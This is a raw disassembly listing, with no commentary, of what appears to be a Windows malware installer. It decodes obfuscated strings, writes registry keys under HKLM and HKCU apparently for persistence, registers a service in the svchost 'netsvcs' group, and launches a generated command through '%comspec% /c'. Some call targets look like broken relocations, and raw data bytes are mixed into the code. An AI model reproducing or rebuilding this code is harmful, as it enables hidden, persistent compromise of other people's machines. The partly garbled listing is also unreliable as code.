call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+30h]
push 14h
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A4h], 4
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+38h]
push 0Dh
push eax
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 5
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+38h]
push 10h
push ecx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 6
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+38h]
push 0Dh
push edx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 7
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
dd 8D50FFFFh, 0A8248Ch, 38680000h, 5100443Bh, 200E890h
dd 3D8B001Eh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h
dd 243270Ch, 24848D90h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h
dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h
dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh
dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
dd 447C24h, 0E8900000h, 23F266Ch, 874C085h, 0DFE8006Ah
dd 907782C4h, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh
dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh
dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
add esp, 19Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB10 proc near ; CODE XREF: sub_401195j
mov al, byte_4471A1
test al, al
jz short loc_40DB24
push offset word_4471A2
nop
call near ptr 27F092Eh
loc_40DB24: ; CODE XREF: sub_40DB10+7j
mov al, 1
retn
sub_40DB10 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB40 proc near ; CODE XREF: sub_401E5Bj
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40DB40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 104h
push eax
push 0
nop
call near ptr 2881E50h
push eax
nop
call near ptr 28812E4h
lea ecx, [esp+6D4h+var_318]
push ecx
push 104h
nop
call near ptr 27D0000h
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4019B5
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_4017E4
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push offset dword_443684
push ecx
nop
call sub_5EDAB2
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
push 40000000h
push edx
nop
call near ptr 28603C2h
mov esi, eax
test esi, esi
jbe loc_40E0A1
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_401424
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4019B5
add esp, 18h
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+708h+var_634]
push 4
push ecx
mov byte ptr [esp+710h+var_4], 2
call sub_4019B5
add esp, 30h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4019B5
add esp, 18h
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+714h+var_67C]
push 4
push eax
mov byte ptr [esp+71Ch+var_4], 4
call sub_4019B5
add esp, 3Ch
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4019B5
add esp, 1Ch
mov [esp+6E0h+var_6C8], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+708h+var_5D4]
push 7
push edx
mov byte ptr [esp+710h+var_4], 6
call sub_4019B5
add esp, 30h
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4019B5
add esp, 30h
mov [esp+6E0h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+714h+var_58C]
push 4
push ecx
mov byte ptr [esp+71Ch+var_4], 8
call sub_4019B5
add esp, 3Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
mov byte ptr [esp+734h+var_4], 9
push 18h
push 5
push 4Eh
push 14h
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4019B5
add esp, 7Ch
mov [esp+6E0h+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+6F8h+var_5BC]
push 53h
push eax
mov byte ptr [esp+700h+var_4], 0Ah
call sub_4019B5
add esp, 20h
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4019B5
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_4017E4
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_4017E4
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_4017E4
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_4017E4
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_4017E4
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_4017E4
mov ecx, [esp+700h+var_6C4]
push eax
call sub_4017E4
mov ecx, [esp+704h+var_6BC]
push eax
call sub_4017E4
push eax
push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
lea edx, [esp+710h+var_6AC]
push edx
call sub_40102D
add esp, 34h
lea ecx, [esp+6E0h+var_64C]
mov byte ptr [esp+6E0h+var_4], 0Bh
call sub_401226
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_401226
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_401226
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_401226
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_401226
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_401226
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_401226
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_401226
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_401226
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_401226
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_401226
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_4017E4
push eax
push esi
call near ptr 27E0000h
nop
push esi
nop
call near ptr 28409D0h
mov ecx, 11h
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 104h
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
nop
call near ptr 2881E50h
push eax
call near ptr 28812E4h
nop
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push ecx
call sub_5EDAB2
nop
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 104h
push edx
push eax
nop
call near ptr 2810000h
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
lea eax, [esp+6FCh+var_110]
push 0
push eax
push 0
call near ptr 2800000h
nop
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40E0A1: ; CODE XREF: sub_40DB40+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40DB40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E220 proc near ; CODE XREF: sub_401726j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40E220
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_401424
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_401424
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401424
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019B5
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019B5
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019B5
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
mov ebp, dword_50F754
push eax
push 80000002h
call ebp ; dword_50F754
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2940000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2900000h
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
call sub_4017E4
push eax
push 80000002h
call ebp ; dword_50F754
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2940000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2900000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
push eax
push 80000001h
call ebp ; dword_50F754
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2940000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2900000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000001h
call ebp ; dword_50F754
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2940000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2900000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017E4
push eax
push 80000002h
call ebp ; dword_50F754
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2940000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2900000h
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40E220 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E7A0 proc near ; CODE XREF: sub_401447j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40E7A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_401424
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_401424
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401424
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019B5
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019B5
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019B5
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
mov esi, dword_50F754
push eax
push 80000002h
call esi ; dword_50F754
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
mov ebp, dword_50F764
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
mov ebx, dword_50F738
push edx
call ebx ; dword_50F738
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
push eax
push 80000002h
call esi ; dword_50F754
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
push edx
call ebx ; dword_50F738
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000002h
call esi ; dword_50F754
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
push edx
call ebx ; dword_50F738
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000001h
call esi ; dword_50F754
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
push edx
call ebx ; dword_50F738
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017E4
push eax
push 80000001h
call esi ; dword_50F754
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
push edx
call ebx ; dword_50F738
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40E7A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EC30 proc near ; CODE XREF: sub_401497j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40EC30
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_401424
push 104h
push 104h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401C5D
push eax
nop
call near ptr 27F0B48h
lea ecx, [esp+5Ch+var_3C]
call sub_401424
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+60h+var_24]
call sub_4017E4
push eax
lea eax, [esp+64h+var_3C]
push offset dword_443684
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_401424
lea ecx, [esp+5Ch+var_54]
push offset aNetsvcs ; "-netsvcs"
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_402153
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_401226
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_401226
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40EC30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ED70 proc near ; CODE XREF: sub_402153j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40ED70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
mov [esp+5Ch+var_44], ecx
push 0
call near ptr 29008E6h
nop
mov edi, eax
test edi, edi
jnz short loc_40EDAF
xor al, al
jmp loc_40EF00
; ---------------------------------------------------------------------------
loc_40EDAF: ; CODE XREF: sub_40ED70+36j
lea ecx, [esp+54h+var_24]
call sub_401424
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_4017E4
mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+5Ch+var_24]
push offset aSS_4 ; "\"%s\" %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_4017E4
push eax
push 1
push 2
push 20h
push 0F01FFh
mov ecx, offset dword_447874
call sub_4017E4
mov ebp, [esp+7Ch+arg_0]
push eax
mov ecx, ebp
call sub_4017E4
push eax
push edi
nop
call near ptr 2900C56h
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40EE95
call near ptr 27C0847h
nop
cmp eax, 431h
jnz short loc_40EE79
mov ecx, [esp+54h+var_44]
push ebp
call sub_401942
mov esi, dword_50F74C
push 0
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_401497
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40EF00
; ---------------------------------------------------------------------------
loc_40EE79: ; CODE XREF: sub_40ED70+CBj
push edi
call near ptr 2910000h
nop
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp short loc_40EF00
; ---------------------------------------------------------------------------
loc_40EE95: ; CODE XREF: sub_40ED70+BEj
lea edx, [esp+54h+var_38]
mov [esp+54h+var_34], ecx
